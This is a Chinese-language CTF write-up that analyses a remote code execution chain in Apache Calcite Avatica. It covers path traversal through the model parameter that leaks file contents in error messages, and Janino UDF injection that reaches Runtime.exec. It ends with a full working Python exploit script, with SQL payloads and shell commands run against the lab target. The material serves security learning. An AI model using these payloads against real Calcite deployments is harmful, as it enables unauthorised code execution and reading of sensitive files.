sctf2026 Great sql详细解

Day:5

GreatSQL Apache Calcite Avatica 远程命令执行漏洞分析

靶机:http://web-02284dfae2.adworld.xctf.org.cn/ Flag:flag{64rf68I9v5tmNObC8F9StfJfVZbaopUh}


第一部分:前置知识

1.1 Apache Calcite 是什么?

Apache Calcite 是一个开源的 SQL 解析引擎,它本身不存储数据,而是提供 SQL 解析、验证、优化和执行的能力。常见的应用场景包括让任意数据源(CSV、Kafka、Elasticsearch)支持 SQL 查询,以及作为数据库的 SQL 优化器。

1.2 Avatica 远程 JDBC 协议

Avatica 是 Calcite 的远程 JDBC 驱动框架,允许客户端通过网络(HTTP)调用 JDBC 接口。服务端接收 JSON RPC 请求,转发给真正的 JDBC 驱动执行。

关键操作:

请求说明
openConnection建立 JDBC 连接(提供jdbcUrl)
connectionSync同步连接属性(如设置当前 schema)
createStatement创建 Statement
prepareAndExecute准备并执行 SQL
getSchemas / getTables获取元数据

请求示例:

{"connectionId":"c1","request":"openConnection","info":{"jdbcUrl":"jdbc:calcite:"}}

1.3 Calcite Model 与 UDF 注册

Calcite 通过 Model(JSON)描述 Schema。模型支持三种加载方式:

jdbc:calcite: # 空模型 jdbc:calcite:model=inline:{"version":1,...} # 内联 JSON jdbc:calcite:model=/path/to/file.json # 从文件加载

Model 中可以注册 Java 类方法为 SQL 函数:

{"version":1,"schemas":[{"name":"S","functions":[{"className":"完全限定类名","methodName":"*"}]}]}

methodName: "*"注册该类的所有 public static 方法。

1.4 Janino / DemoBase 关键类

Janino是一个轻量级 Java 编译器,可以在运行时编译执行 Java 代码。

ScriptEvaluator.createInstance(Reader)— 静态方法,接收 Reader,读取 Java 源码编译执行。

DemoBase— Janino 示例基类,包含三个关键静态方法:

  • stringToType(String)— 将类名转Class<?>
  • createObject(Class<?>, String)— 调用单 String 参数构造器实例化
  • explode(String)— 逗号分割字符串

1.5 Runtime.exec() 分词陷阱

Runtime.getRuntime().exec("ls > /tmp/out")// exec(String) 内部用 StringTokenizer 按空格切分// → {"ls", ">", "/tmp/out"} ❌ 重定向不生效Runtime.getRuntime().exec(newString[]{"/bin/sh","-c","ls>/tmp/out"})// → 正确执行,>/tmp/out 由 shell 解释 ✅// 无空格命令也可以:Runtime.getRuntime().exec("/bin/sh -c ls>/tmp/out")// StringTokenizer 不会切 >,它按空格/制表符分割// → {"/bin/sh", "-c", "ls>/tmp/out"} ✅

第二部分:漏洞分析

2.1 Model 路径遍历 + 错误消息文件泄露

Calcite 的model=参数不做路径校验。传入任意文件路径时,Jackson 尝试将其作为 JSON 解析,失败时在错误消息中泄露文件首 token:

POST / {"connectionId":"x","request":"openConnection", "info":{"jdbcUrl":"jdbc:calcite:model=/etc/passwd"}}

→Unrecognized token 'root'— 泄露了 passwd 第一行第一个字段

利用效果:

  • /etc/passwd→root
  • /proc/self/environ→SHELL
  • /flag→ Permission denied(存在但无权读)
  • 不存在的文件 → FileNotFoundException

局限性:Jackson 在第一个非法字符处停止,只能泄露首 token。

2.2 280 字节请求限制

服务端有LengthLimitedJsonHandler+ nginx 限长,所有 payload 必须 ≤ 280 字节。

绕过手段:

  • connectionId:""(空字符串)省 2 字节
  • exec(String)替代exec(String[])省 ~15 字节
  • 命令中避免空格:用base64/z>/tmp/b而非base64 /tmp/z > /tmp/b
  • SQL 调用链固定开销约 248 字节,留给命令的只有 ~32 字节

2.3 Janino UDF 注入 → RCE(核心漏洞)

注册 UDF

"functions":[{"className":"org.codehaus.commons.compiler.samples.DemoBase","methodName":"*"},{"className":"org.codehaus.janino.ClassBodyEvaluator","methodName":"*"}]

ClassBodyEvaluator继承ScriptEvaluator,父类的静态方法也会被"*"注册。

SQL 调用链

SELECTcreateInstance(createObject(stringToType('java.io.StringReader'),'{try{Runtime.getRuntime().exec("/bin/sh -c /readflag>/tmp/z");}catch(Exception e){}}'))

执行流程:

stringToType('java.io.StringReader') → DemoBase.stringToType() → Class createObject(Class, '{java code}') → DemoBase.createObject() → new StringReader("{java code}") createInstance(StringReader) → ScriptEvaluator.createInstance(Reader) → Janino 编译执行 Java 代码 → Runtime.exec("/readflag>/tmp/z") → flag → /tmp/z

读取 flag

exec("base64/z>/tmp/b") → base64 编码 model=/tmp/b → Jackson 错误泄露 base64 字符串 解码 → flag{64rf68I9v5tmNObC8F9StfJfVZbaopUh}

第三部分:反思 —— 这道题我卡在了哪里

3.1 学到的经验

回头看,这道题的正确思路是链式攻击的典型应用。从 CTF 链式思维的角度,应该这样分析:

列出所有可达端点 → openConnection 可连 → model=能读取文件、能注册UDF → 注册UDF后有哪些类方法可用? → 分析注册类的继承链发现createInstance → 参数类型不对? → 寻找桥函数stringToType → SQL里怎样构造Java对象实例? → 用createObject链接 → 链式调用 → RCE

3.2 具体的思维盲区

盲区 1:不知道stringToType这个桥函数 卡在createFastClassBodyEvaluator(Class<?>, String)的第一个Class<?>参数上。我的思维是:“SQL 里没法表达 Java Class 类型”——然后就放弃了。

实际上DemoBase.stringToType(String)就是把字符串转 Class 的桥。我没有去完整检查已注册类的所有方法。

盲区 2:只试单方法调用,没做链式组合 我测试了ClassBodyEvaluator.evaluate('return 1'),发现evaluate不是静态方法报错后,就判定 UDF 这条路不通。

实际上需要的是三个函数串成一条链:stringToType → createObject → createInstance。单个函数看起来都没用,但串联起来就是完整的 RCE。

盲区 3:没看继承链 查ClassBodyEvaluator的静态方法时只看了类本身,没看它的父类ScriptEvaluator。而createInstance(Reader)这个关键静态方法,正是定义在父类里的。methodName: '*'注册的是包括继承来的所有 public static 方法。

3.3 一般化原则

面对陌生 Java 框架做 UDF 注入/反序列化时:

  1. 找出注册类及其父类/接口的全部 public static 方法签名
  2. 分析哪些方法的参数是 SQL 可表达的类型(String, int, boolean)
  3. 寻找桥函数(能转类型或构造复杂对象的工具方法)
  4. 把可调用的方法按输入输出类型画链,看能不能组合——单个函数可能无用,但组合起来就是 RCE

第四部分:EXP

#!/usr/bin/env python3importjson,urllib.request,urllib.error,time,base64importsys URL="http://web-02284dfae2.adworld.xctf.org.cn/"MODEL=("inline:{version:1,schemas:[{name:0,functions:[""{className:'org.codehaus.commons.compiler.samples.DemoBase',methodName:'*'},""{className:'org.codehaus.janino.ClassBodyEvaluator',methodName:'*'}]}]}")defcj(o):returnjson.dumps(o,separators=(",",":"))defjs(v):returnv.replace("\\","\\\\").replace('"','\\"')defpost(p):d=p.encode()r=urllib.request.Request(URL,data=d,headers={"Content-Type":"application/json"},method="POST")try:withurllib.request.urlopen(r,timeout=10)asresp:returnresp.status,resp.read().decode(errors="replace")excepturllib.error.HTTPErrorase:returne.code,e.read().decode(errors="replace")cid=""# Step 1: Setup UDF connectionpost(cj({"request":"closeConnection","connectionId":cid}))post(cj({"request":"openConnection","connectionId":cid,"info":{"jdbcUrl":"jdbc:calcite:model="+MODEL}}))post(cj({"request":"connectionSync","connectionId":cid,"connProps":{"connProps":"connPropsImpl","schema":"0"}}))s,r=post(cj({"request":"createStatement","connectionId":cid}))sid=json.loads(r).get('statementId')# Step 2: Execute /readflag, write to /tmp/zcmd="/readflag>/tmp/z"body='{try{Runtime.getRuntime().exec("/bin/sh -c '+js(cmd)+'");}catch(Exception e){}}'sql="select createInstance(createObject(stringToType('java.io.StringReader'),'"+body+"'))"p4=cj({"request":"prepareAndExecute","connectionId":cid,"statementId":sid,"sql":sql,"maxRowsInFirstFrame":-1})post(p4)time.sleep(2)# Step 3: Base64 encode the flagpost(cj({"request":"closeConnection","connectionId":cid}))post(cj({"request":"openConnection","connectionId":cid,"info":{"jdbcUrl":"jdbc:calcite:model="+MODEL}}))post(cj({"request":"connectionSync","connectionId":cid,"connProps":{"connProps":"connPropsImpl","schema":"0"}}))s,r=post(cj({"request":"createStatement","connectionId":cid}))sid2=json.loads(r).get('statementId')cmd2="base64/z>/tmp/b"body2='{try{Runtime.getRuntime().exec("/bin/sh -c '+js(cmd2)+'");}catch(Exception e){}}'sql2="select createInstance(createObject(stringToType('java.io.StringReader'),'"+body2+"'))"p4b=cj({"request":"prepareAndExecute","connectionId":cid,"statementId":sid2,"sql":sql2,"maxRowsInFirstFrame":-1})post(p4b)time.sleep(2)# Step 4: Read encoded flag via model path traversaluid="r"+str(time.time_ns())[-6:]p5=cj({"request":"openConnection","connectionId":uid,"info":{"jdbcUrl":"jdbc:calcite:model=/tmp/b"}})s5,r5=post(p5)if'Unrecognized token'inr5:b64=r5.split("Unrecognized token '")[1].split("'")[0]padding=4-len(b64)%4ifpadding!=4:b64+='='*padding flag=base64.b64decode(b64).decode()print(f"FLAG:{flag}")